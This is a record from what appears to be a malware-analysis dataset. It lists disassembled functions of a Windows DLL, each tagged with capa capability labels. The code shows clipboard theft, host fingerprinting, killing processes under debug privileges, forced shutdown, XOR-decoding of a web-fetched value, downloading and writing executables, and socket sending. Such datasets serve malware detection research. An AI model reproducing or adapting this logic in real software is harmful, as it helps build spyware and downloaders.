joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007e50
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10007ee2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10007e81
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10006c40
push ebp
call main
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x10008320
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x100084d3
cmp dword [esi + 0x1c], edi
je 0x100084d3
call fcn.100088e0
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.10008720
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.10008720
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x100083b6
cmp dword [esp + 0x1c], 1
jne 0x100083b6
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x100083a3
inc edi
add eax, 4
cmp edi, 0x10
jl 0x10008396
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
jne 0x100083b2
or edi, 0xffffffff
mov eax, edi
jmp 0x100083b9
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.10008720
cmp byte [ebx], 2
jne 0x10008421
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.10008920
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.10008980
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001a4c4]
cmp ecx, eax
mov edi, edx
je 0x1000844e
push edi
mov ecx, esi
call fcn.100084e0
test al, al
je 0x1000844e
add edi, 0x13
jmp 0x10008451
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000846f
push edi
mov ecx, esi
call fcn.100084e0
test al, al
je 0x10008465
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x10008456
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x1001a4c4], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x100084bc
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x100084ab
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x10008cb0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
push 0
push eax
mov dword [esi], 0x1001459c
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x10008d03
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x10008d0d
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10008d17
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10008d21
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.10006c10
pop edi
pop esi
ret

Function at 0x10009020
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.10008ec0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x10009068
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x10009042
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x10009190
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0xc10
push esi
mov esi, dword [esp + 0xc18]
test esi, esi
push edi
jne 0x100091ae
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.http:__
push esi
mov dword [esp + 0x18], 0
mov byte [esp + 0x13], 0
call edi
add esp, 8
test eax, eax
jne 0x10009223
push str.https:__
push esi
call edi
add esp, 8
test eax, eax
jne 0x10009223
mov eax, dword [esp + 0xc34]
mov ecx, dword [esp + 0xc30]
mov edx, dword [esp + 0xc2c]
push eax
mov eax, dword [esp + 0xc2c]
push ecx
mov ecx, dword [esp + 0xc2c]
push edx
mov edx, dword [esp + 0xc2c]
push eax
push ecx
push edx
push esi
call fcn.10009070
add esp, 0x1c
mov al, 1
pop edi
pop esi
add esp, 0xc10
ret
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x10009249
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
push 0
push 0x80000100
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edx, eax
test edx, edx
mov dword [esp + 0xc], edx
jne 0x10009271
pop edi
xor al, al
pop esi
add esp, 0xc10
ret
push ebx
mov ebx, dword [esp + 0xc34]
push ebp
mov ebp, dword [esp + 0xc3c]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x420]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x420]
push eax
push 0x800
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x420]
push str.AAAA
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x10009339
add esi, 4
push str.AAAA
push esi
call edi
mov edx, eax
add esp, 8
test edx, edx
je 0x10009339
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [esp + 0x20]
sub ecx, esi
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
call fcn.10009020
mov edx, dword [esp + 0xc38]
mov ecx, dword [esp + 0xc34]
push ebp
push ebx
push edx
mov edx, dword [esp + 0xc3c]
push ecx
mov ecx, dword [esp + 0xc3c]
push edx
push ecx
push eax
call fcn.10009070
add esp, 0x20
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
test eax, eax
ja 0x10009281
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov al, byte [esp + 0x13]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0xc10
ret
Function at 0x10009370
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret

Function at 0x100093d0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.10011230
add eax, 1
adc edx, 0
push edx
push eax
push 0x10018a74
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x10009440
Capabilities:
Get disk size

Disassembly:
sub esp, 0xc
push esi
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000946c
xor eax, eax
pop esi
add esp, 0xc
ret
lea eax, [esp + 4]
push 0
push eax
lea ecx, [esp + 0x10]
push 8
push ecx
push 0
push 0
push 0x7405c
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push 0
push 0x3b9aca00
push edx
push eax
call fcn.10011250
pop esi
add esp, 0xc
ret

Function at 0x100094f0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x400
xor eax, eax
push ebx
mov ebx, dword [esp + 0x410]
mov ecx, ebx
push esi
mov esi, dword [esp + 0x410]
mov edx, ecx
push edi
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x410]
lea ecx, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSet_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0
push ebx
push 0
push esi
push 1
lea edx, [esp + 0x2c]
push str.Host
push edx
push reloc.WS2_32.dll_bind
call fcn.10006d10
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x10009574
push ebx
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x1000a0e0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.1000a360
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000a137
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000a108
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.1000a360
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.10009f50
mov ecx, edi
call fcn.10009f80
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000a170
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.1000a360
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000a1d4
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x7d
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a323
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000a310
cmp eax, 4
je 0x1000a310
cmp eax, 8
je 0x1000a310
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000a29b
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a209
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000a360
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x1000a3f0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000a360
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000a360
add esp, 8
ret
Function at 0x1000a5a0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000a520
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000a620
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000a68f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x1000a66d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000a68f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1000a665
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000a678
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x1000a6a0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000a6f2
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x1000a880
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000a8ca
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000a8ca
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000a8e7
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000a8e7
call fcn.1000a700
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000a6a0
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x1000aa90
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1000aa40
add esp, 4
test eax, eax
jne 0x1000aab3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000aad7
push esi
call fcn.1000a9d0
add esp, 4
mov eax, 1
pop esi
ret

Function at 0x1000aae0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x1000ab23
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push connect
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x1000ab4d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x1000abdf
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x1000aba1
cmp word [esp + 0x24], 0x5a4d
jne 0x1000abc8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000abd0
jmp 0x1000ab75
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x10012160
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1001a288
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x1001a3a4]
push 0x1001a288
inc eax
mov dword [0x1001a3a4], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [esp + 0x124]
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0
call fcn.10012030
add esp, 8
test eax, eax
je 0x100122af
mov ebp, dword [esp + 0x11c]
cmp eax, 1
je 0x10012221
cmp eax, 2
je 0x10012221
cmp eax, 3
je 0x10012221
cmp eax, 4
jne 0x1001226e
lea ecx, [esp + 0x18]
push 0
lea edx, [ebp + 4]
push ecx
push edx
call fcn.100127a0
add esp, 0xc
test eax, eax
je 0x100122af
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp]
not ecx
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1001226e
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x128]
mov ebx, dword [esp + 0x120]
push ecx
push edx
push esi
push ebx
call fcn.100120d0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100122af
lea eax, [esp + 0x18]
lea edi, [ebp + 4]
push 0
push eax
push edi
call fcn.100127a0
add esp, 0xc
test eax, eax
je 0x100122af
mov ecx, dword [edi]
push 0
push esi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100122af
cmp dword [ebp], 0
je 0x100122af
mov eax, dword [ebp + 4]
test eax, eax
je 0x100122af
lea edx, [esp + 0x14]
push edx
push 0
push ebp
push 0x10013230
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1001229f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x108
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x108
ret